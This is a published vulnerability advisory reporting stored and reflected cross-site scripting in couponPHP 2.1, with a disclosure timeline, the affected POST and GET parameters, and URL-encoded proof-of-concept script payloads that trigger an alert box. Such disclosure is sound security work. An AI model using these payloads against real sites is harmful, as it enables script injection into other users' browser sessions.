couponPHP 2.1 Multiple XSS Vulnerabilities


[Discussion]

- Bikramaditya Guha advises about the following vulnerability(ies):


[Software]

- couponPHP 2.1


[Vendor Product Description]

- couponPHP is a content management system (like Wordpress for example) which makes it incredibly 
easy to run your own Coupon and Deal website.


- Site: https://couponphp.com/


[Advisory Timeline]

- 03/06/2016 -> Vulnerability discovered;
- 03/06/2016 -> First contact with vendor;
- 03/06/2016 -> Vendor responds asking for details;
- 06/06/2016 -> Vulnerability details sent to the vendor;
- 09/06/2016 -> Follow up with vendor on Patch release date;
- 13/06/2016 -> No Response from vendor. Advisory Published


[Bug Summary]

- Cross Site Scripting (Stored)

- Cross Site Scripting (Reflected)


[Impact]

- High


[Affected Version]

- couponPHP 2.1 


[Bug Description and Proof of Concept]

1. Cross Site Scripting (XSS) - Multiple cross-site scripting vulnerabilities were also discovered. The issue is 
triggered when input passed via multiple parameters is not properly sanitized before being returned to the user. 
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.
https://en.wikipedia.org/wiki/Cross-site_scripting


[Proof-of-Concept]

1. Multiple Stored Cross Site Scripting

Parameter:
title, keywords (POST)

Payload:
title=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&parent=3&description=&thumbnail=category_2111c7d0dac3871f42e4e78cc0293a1c.jpg&icon=fa-align-center&keywords=%22%3E%3Cscript%3Ealert%283%29%3C%2Fscript%3E&menu=categories_manage&add_category=Add+category

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2. Multiple Reflected Cross Site Scripting

Parameter
edit, sort (GET)

Payload:
%22%3E%3Cscript%3Ealert%281%29%3C/script%3E

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

All flaws described here were discovered and researched by:

Bikramaditya Guha aka "PhoenixX"
********************************************************************************************************************************************************************************************************************************